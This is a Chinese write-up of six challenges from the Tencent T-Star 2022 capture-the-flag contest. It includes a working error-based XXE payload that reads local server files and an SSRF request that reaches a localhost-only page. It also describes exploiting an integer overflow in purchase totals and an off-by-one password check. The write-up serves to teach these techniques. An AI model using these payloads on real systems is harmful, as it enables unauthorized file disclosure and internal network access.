前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【T-Star赛事笔记】Writeup by 114

【T-Star赛事笔记】Writeup by 114

原创
作者头像
T-STAR[1145141919810]
修改2022-04-26 16:59:02
1.1K5
修改2022-04-26 16:59:02
举报
文章被收录于专栏:11451419198101145141919810

TStar CTF 2022

TOC

Into the Unknown|腾讯网络安全T-Star高校挑战赛 (tencent.com)

比赛结束后题目描述看不到了,只能在这里直接贴解题方法了。

第一题

题目知识点

web:

代码语言:txt
复制
使用fiddler或burp工具进行抓包
xxe(Xml外部实体攻击)
解题方法

登录:抓包,前端验证码。

在页面上随便点点,可以发现点赞会调用/api/like这个接口,并且传参是json类型。通过Header可以看出后端服务器是gunicorn,大部分情况表示后端使用的是Python和Flask框架。尝试了nosql注入,nodejs原型污染RCE,未果。

fuzz到可以将Content-Type改为application/xml使后端解析xml,尝试xxe读取本地文件。

通过报错信息谷歌搜索得知,后端解析xml使用的是lxml库的某个版本,并且测试得知没有开启网络解析(即设置了no_network=False)。

已知,xxe;条件:无回显,无网络,有报错;尝试使用报错带出文件内容。

xxe报错带出原理:拼接一个file://不存在的路径/读取的文件内容路径,让xml库进行加载,由于这个路径对应的文件不存在,所以报错,从而从报错中回显文件内容。

lxml的xxe似乎有点坑,我本地复现得到的结果和远程的不一样,同一个payload我本地测试的是没反应也不报错。。。

代码语言:python
代码运行次数:0
复制
#我本地测试使用的脚本
from lxml import etree
parser = etree.XMLParser(load_dtd=True,
                         no_network=False,
                         resolve_entities=True,)
tree = etree.parse("test.xml", parser=parser)
print("Your name is: "+tree.xpath("name")[0].text)

总之,多试几个xxe的payload总有能用的

payload:

代码语言:html
复制
<?xml version="1.0" ?>
<!DOCTYPE x [
    <!ENTITY % outside '
        <!ENTITY &#x25; file SYSTEM "file:///proc/self/cwd/config.py">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///x/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
'>
    %outside;
]>
<x></x>

读取文件成功后,已知后端是flask,大部分情况下flask的主程序都叫app.py。xxe不能打相对路径,利用/proc/self/cwd可以读取当前进程所在路径下的文件。

读取app.py可以看到可读取的最后一行是from config import *

读取config.py得到flag。

第二题

解题思路

我在看懂题目描述之前就猜了个深圳。。。shenzhen

第三题

题目知识点

misc:

代码语言:txt
复制
file命令或binwalk命令
wireshark使用
冷门的工具使用(adb restore和openssl rsautil)
使用Python脚本进行图片绘制
(非常简单的)安卓逆向

re/pwn:

代码语言:txt
复制
off by one溢出
解题方法

下载题目提供的附件,通过file命令看出是pcap文件。pcap文件的内容是抓取的网络通信报文。

(使用binwalk工具也可看出是pcap文件。)

简单看了一下,是adb协议。

tcp.strem eq 3 是adb shell的流量,可以看到一个pass文件的内容是yun202203

代码语言:txt
复制
0012host:transport-anyOKAY0006shell:OKAYshell@hammerhead:/ $ cd /data/local/tmp/backupcd /data/local/tmp/backup


shell@hammerhead:/data/local/tmp/backup $ llss


pass
shell@hammerhead:/data/local/tmp/backup $ ccaatt  ppaa	
shell@hammerhead:/data/local/tmp/backup $ cat pass                             ............................. 


yun202203
shell@hammerhead:/data/local/tmp/backup $ eexxiitt

tcp.stream eq 1 是adb backup的数据。adb backup命令可以备份一个安卓安装包(apk)和这个安装包在备份时所拥有的数据文件。

把他的单向报文全部提取出来,删除开头的多余字符。让文件以ANDROID BACKUP开头。

(友情提示:等wireshark加载完再点另存为。。。否则提取的报文不完整)

adb restore 跑到安卓真机里 就能拿到apk和apk在备份时的数据。需要用之前拿到的密码yun202203

adb restore test.ab

反编译apk,能拿到个ip地址

代码语言:java
复制
package ctf.misc.step;

public class Step1 {
    public static String FlagStep1 = "175.178.148.197:80";
}

apk在备份时的数据/data/data/ctf.misc.step 可以拿到文件 flag.zip key.en private_key.pem

private_key.pem作为私钥,rsa解密 key.en文件

openssl rsautl -decrypt -inkey private_key.pem -in key.en

得到9BlteBJnZpwrRjbL0DsGlFz5M+MDG74jYIj0zzivGPVW75jYZQpdzpfrpEBcXAJqHrlZlEw9hMhRQ8FijkATyMxpKsPXEWT5K6M5

作为压缩包的密码,解压flag.zip得到

代码语言:txt
复制
1111111010010101010110111111110000010100011000111101000001101110100110100101000010111011011101010000110001000101110110111010110100100101101011101100000100100111011001010000011111111010101010101010111111100000000001111001000000000000110011010000110101010011011110001110110101101011000011110000110100101110010010111111000100001101000011010000100000100100101101001011010010101111010011110100111101001110000011110100101101001011010010001110011101101111011001110000001001010101001100011001001001001110111111111111011101101001010111001101110111001001110111000001111100011001000010100110110011111011010100111110010001100100011110011001100000000001001010101101010111001111111010110001101000101001010000011100111110010001000100101110101010011111111110111101011101000000010000000000111010111011110001010110111001110100000101110011101101110011101111111

总共数据长度是841字节,开根号是29,不难猜出是29*29的黑白图像,即一个二维码。

misc题中得到开根号为整数的 个数的0和1,大部分情况是画成正方形图片,是二维码。

编写脚本将1显示为黑色,将0显示为白色,得到二维码。

(我画图的脚本好像把x和y弄反了,今天打mrctf才意识到。。。不过画出来的二维码还是能扫的)

代码语言:python
代码运行次数:0
复制
import cv2
import numpy as np
data = '1111111010010101010110111111110000010100011000111101000001101110100110100101000010111011011101010000110001000101110110111010110100100101101011101100000100100111011001010000011111111010101010101010111111100000000001111001000000000000110011010000110101010011011110001110110101101011000011110000110100101110010010111111000100001101000011010000100000100100101101001011010010101111010011110100111101001110000011110100101101001011010010001110011101101111011001110000001001010101001100011001001001001110111111111111011101101001010111001101110111001001110111000001111100011001000010100110110011111011010100111110010001100100011110011001100000000001001010101101010111001111111010110001101000101001010000011100111110010001000100101110101010011111111110111101011101000000010000000000111010111011110001010110111001110100000101110011101101110011101111111'
img_size = (29,29)
img = np.zeros(img_size, np.uint8)

for x in range(29):
    for y in range(29):
        pixel = int(data[x*29+y])
        color = (255,255,255)
        if pixel:
            color = (0,0,0)
        cv2.rectangle(img,(x,y),(x,y),color,1)

cv2.imshow("foo",img)
cv2.waitKey()

扫描二维码得到/033yia8rqea1921ca61/systemlockdown

和之前的ip地址拼接,得到http://175.178.148.197/033yia8rqea1921ca61/systemlockdown

下载url,得到一个压缩包,压缩包给出了c源码和编译好的exe可执行文件。

#define SYSTEM_SHUTDOWN 1导致check函数直接return,那么memcmp(password, "888888", 6) == 0就没有用了。

i = 0; i <= 6 但是char password[6] 可以off by one。

checker1 = (door_key *)&(management.key_data); 又导致checker1 的内存overlap ch last_ch i

if (ch != '\n' && last_ch && ch != last_ch) 限制输入只能是同样的字符

漏洞点是这样,但是我没太看明白,因为输入限制了只能是同样的字符,一共只有00000009999999十种输入,我爆破出的。。。

代码语言:txt
复制
5555555
992e63080ee1e47b99f42b8d64ede953
代码语言:txt
复制
补充:
struct door_key {
	unsigned char passed : 1;
	unsigned char checksum1 : 2;
	unsigned char checksum2 : 2;
	unsigned char checksum3 : 3; 
};
虽然unsigned char的大小是一个字节,但是他后面的冒号表示他是一个比特字段,即:passed占用1比特,checksum1占用2比特,checksum2占用2比特,checksum3占用3比特。
所以door_key结构体的实际大小是1字节,off by one正好可以控制整个door_key结构体。
'5'的ascii码是53,转为二进制是00110101,即checksum3的值为0b001=1,checksum2的值为0b10=2,checksum1的值为0b10=2,passed的值为0b1=1。
满足
if ((checker1->passed && (checker1->checksum1 == checker1->checksum2) && checker1->checksum3 > 0))
的条件。
因此密码只要以字符5结尾即可,而密码必须是同样的字符,所以密码是5555555。

第四题

题目知识点

misc:

代码语言:txt
复制
图片编辑
十六进制编辑器使用
摩尔斯解密
解题方法

下载附件,解压压缩包,得到一个残破的二维码,一个我真是一个压缩包

二维码缺少了左上角的定位点,无法扫描。把二维码右上角的定位点复制到左上角,使二维码可以扫描。

扫描二维码得到url http://public.huoxian.cn/ctf/call_me.zip

题目给出的我真是一个压缩包压缩包使用010 editor打开,不难看出压缩包的魔法字节PK被改成了PJ,导致压缩软件无法识别这一个压缩包。改回PK即可解压压缩包。

解压压缩包,拿到一个mp3 。听内容是摩尔斯。摩尔斯的内容是19910386797

从二维码扫描得到的url下载,得到另一个压缩包,用19910386797作为密码解压得到 https://darknet.hacker5t2ohub.com/

4的flag就是darknet.hacker5t2ohub.com

第五题

题目知识点

二进制/web:

代码语言:txt
复制
数据类型(short)
整数溢出漏洞

misc:

代码语言:txt
复制
解密hash。。。
解题方法

尝试sql注入,意外通过报错发现 后端是go写的。

代码语言:txt
复制
{"code":1, "msg":"service codec Unmarshal: 1 error(s) decoding:

* cannot parse 'gid' as int: strconv.ParseInt: parsing "12'": invalid syntax"}

无法注入,推测漏洞点是整数溢出。购买数量太大也不允许。

推测金额是short有符号16比特整数int16,范围是-3276832767

第九个商品价格1000,购买33个的总金额为33000,溢出之后变成-32536,即自己购买商品之后自己的余额不会扣反倒会增加32536。

(不清楚余额是用什么类型存储的,可以给他玩成负数,余额负了好像溢出都不让。。。)

购买付费咨询之后查看右上角的消息可以得到提示

商品【付费咨询】购买成功,信息如下: 前往微信公众号“腾讯安全应急响应中心”(tsrc_team),回复"T-Star666"获取信息

去公众号回复得到提示

代码语言:txt
复制
你要找的人,即将发起大范围蠕虫攻击!行动计划就藏匿在邮件中,只有解出密匙才能破除攻击!http://159.75.190.64/

nightbaron042@sohu.com
nightBaron1996

登陆邮箱。查看邮件。

代码语言:txt
复制
Hi bros,

冬去春来,终于迎来此刻。等待良久,时机已经成熟。等待的日子里,我看了很多书,那些书页中的章节和段落就像时钟的时针和分针一样不断前行,指引我们通向胜利。

这次行动一切顺利,我将乘胜追击,发起勒索病毒蠕虫攻击,对所有目标电脑文件进行加密,并自动扩散,只有我的KEY才能解密。

数据勒索加密行动已经于今天 1点8分 启动。须知,T-Star特工诡计多端,为防他们从中作梗,我已将KEY进行HASH处理,分别交由不同的人保管。以他们的算力,应该很难破解。米特尼克曾经写道,人的因素是安全过程中最薄弱的环节。各位务必提高警惕,严加保密、妥善储存。

这封邮件非常重要,关键时刻将发挥巨大作用,好戏在即,各位拭目以待。

Key Hashes Part 1: https://pastebin.com/QZ7QBmmd
Key Hashes Part 2:  https://pastebin.com/TUNVRVvk
Key Hashes Part 3:  https://pastebin.com/rTqtad96

NightBaron

Address: Soldier Island 
Github: nightBaron042

IF YOU'RE LOOKING, YOU WON'T FIND IT

下载三个url里的文件,得到一堆hash。。。

访问http://159.75.190.64/需要一个key,推测key是一堆hash解出来的结果

以前做过类似的题,flag是一篇论文,每个用空格分隔的单词被单独hash,给出一堆hash,要你找出这篇论文的完整内容。

如果土豪可以用cmd5等网站付费解密所有hash得到完整内容。如果不是土豪,可以解前几个单词的hash拿到前几个单词的原文,然后谷歌搜索论文的全文。

cmd5免费用户有限制,但是多跑几个解密hash网站总能免费解几个。

代码语言:txt
复制
Security is too often merely an illusion, an illusion sometimes

搜索这一小段找到原文,找到原文对应的一整段。作为key提交得到flag。

代码语言:txt
复制
Security is too often merely an illusion, an illusion sometimes made even worse when gullibility, naivete, or ignorance come into play. The world's most respected scientist of the twentieth century, Albert Einstein, is quoted as saying, "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former." In the end, social engineering attacks can succeed when people are stupid or, more commonly, simply ignorant about good security practices. With the same attitude as our security-conscious homeowner, many information technology (IT) professionals hold to the misconception that they've made their companies largely immune to attack because they've deployed standard security products - firewalls, intrusion detection systems, or stronger authentication devices such as time-based tokens or biometric smart cards. Anyone who thinks that security products alone offer true security is settling for. the illusion of security. It's a case of living in a world of fantasy: They will inevitably, later if not sooner, suffer a security incident.
代码语言:txt
复制
key正确,恭喜恢复电脑,快去提交flag吧:flag{ski931iwasjudqwkashajdsakdhadjshakdhsahkd}

第六题

题目知识点

misc:

代码语言:txt
复制
file命令或binwalk命令使用
docx隐写(隐藏文字,书签,隐藏的图片)
隐写工具的使用(outguess)

web:

代码语言:txt
复制
ssrf(利用服务器访问其他网站的功能,以服务器身份或地址访问某个需要服务器身份或地址才能访问的目标,拿到隐私信息或攻击内网设施)
解题方法

下载附件,file命令得知是一个docx文档。docx的本质是压缩包。

打开docx提示

代码语言:txt
复制
喜欢我给你的惊喜吗?
我已将线索藏到三个不同的地方,
其中一个提示为123456
来找我吧,
记住,你只能一个人来
否则,你会受到惩罚哦

根据提示,有三段url。

第一段 GE3TKLRRG44C4MJUHAXDCOJX 在word书签(插入-书签)里。base32转码得到 175.178.148.197

第二段 Flag2: 772e91/webs 隐藏文字,将docx另存为为html,记事本打开可以看到

第三段 根据题目提示 guess为 outguess工具 使用outguess工具 以123456为密码 将docx作为压缩包解压可以得到image1.jpg 解密得到

/062ycz7s9458b

outguess命令使用语法: ./outguess -k 123456 -r '/mnt/d/data/user/Desktop/image1.jpg' out.txt

问:为什么guess就是outguess呢? 答:misc题就这样嘛。之前有个题的描述是guess out the flag 也是用outguess做。这提示很清晰是不是?

得到 175.178.148.197/062ycz7s9458b772e91/webs

访问url得知是php。这个页面的功能是拉取另一个页面并且把拉取结果返回。

通过分析(测试得知他支持scp://协议),推测后端拉取的方式是curl。尝试使用gopher协议打mysql或者php-fpm,或file协议读取本地文件,未果。

http://175.178.148.197/062ycz7s9458b772e91/webs/?url=http://www.baidu.com

因为不允许使用扫描器,通过猜路径猜到/062ycz7s9458b772e91/webs/flag.php,访问提示只允许localhost访问

所以利用curl进行ssrf访问得到flag。

代码语言:txt
复制
http://175.178.148.197/062ycz7s9458b772e91/webs/?url=127.0.0.2/062ycz7s9458b772e91/webs/flag.php
T-STAR{ThereAreNoBoundaries}

url使用ipv6 http://[::1]/也能绕过,但是好像flag.php不认。。。可能写死了只能127.0.0.2

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • TStar CTF 2022
    • 第一题
      • 题目知识点
      • 解题方法
    • 第二题
      • 解题思路
    • 第三题
      • 题目知识点
      • 解题方法
    • 第四题
      • 题目知识点
      • 解题方法
    • 第五题
      • 题目知识点
      • 解题方法
    • 第六题
      • 题目知识点
      • 解题方法
相关产品与服务
验证码
腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档